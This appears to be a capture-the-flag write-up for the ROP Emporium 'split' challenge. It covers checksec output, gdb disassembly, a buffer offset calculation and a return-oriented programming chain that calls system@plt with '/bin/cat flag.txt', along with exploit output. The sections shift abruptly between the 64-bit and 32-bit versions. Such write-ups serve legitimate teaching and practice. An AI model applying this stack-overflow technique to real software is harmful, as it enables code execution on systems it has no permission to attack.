$ ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> 1111111
Thank you!
Exiting
It takes user input and then exits.
We can use the checksec utility in order to identify the security properties of the binary executable.
$ checksec split
[*] '/home/hacker/ropEmporium/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
There's two important properties we want to focus on here:
NX enabled: This means that the stack is not executable. Therefore we cannot use a shellcode injection.
No PIE (0x400000): This means that the executable is not positionally independent and it is always loaded at address 0x400000. So the code and memory regions will have the same address every time we run it.
Let's open the executable using gdb-pwndbg and look at the functions.
$ python exploit.py
[+] Starting local process './split': pid 987
[*] Switching to interactive mode
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
32 bit
usefulFunction()
pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0804860c <+0>: push ebp
0x0804860d <+1>: mov ebp,esp
0x0804860f <+3>: sub esp,0x8
0x08048612 <+6>: sub esp,0xc
0x08048615 <+9>: push 0x804870e
0x0804861a <+14>: call 0x80483e0 <system@plt>
0x0804861f <+19>: add esp,0x10
0x08048622 <+22>: nop
0x08048623 <+23>: leave
0x08048624 <+24>: ret
End of assembler dump.
The arguments for a 32-bit function call are pushed on the stack. At usefulFunction+9, we can see the argument for the system call being pushed onto the stack.
Let's see what the argument is.
pwndbg> x/s 0x804870e
0x804870e: "/bin/ls"
We have to replace this argument with /bin/cat flag.txt.
We can see that if we increment the ebp by 4, it will point to the saved return address.
Therefore the distance between the buffer and the saved return address is offset+4 which is equal to 44.
Exploit requirements
We now have all the information we need to create an exploit.
All that remains is to link these pieces of information to create a ROP chain.
ROP chain
In this technique, we have to execute our instructions in a carefully chosen sequence:
First we have to replace the return address with the address of the system@plt call so that it is executed when pwnme returns.
Then we have to chain it with the address of the /bin/cat flag.txt string so that it can act as the argument of the system@plt call.
This is what the ROP chain would look like on the stack.
Stack:-
+--------------------------+
| 08 04 86 1a | <====== return address <------ esp
| ( system@plt ) |
+--------------------------+
| 08 04 a0 30 |
| ( /bin/cat flag.txt ) |
+--------------------------+
=====================================================================
pwnme() return <------ eip
# This gadget will pop the value pointed to by the esp into eip
=====================================================================
Stack:-
+--------------------------+
| 08 04 a0 30 | <------ esp
| ( /bin/cat flag.txt ) |
+--------------------------+
=====================================================================
call <system@plt> <------ eip
# This gadget makes a system call based on the argument on the stack
=====================================================================
$ python exploit.py
[+] Starting local process './split32': pid 16511
[*] Switching to interactive mode
split by ROP Emporium
x86
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}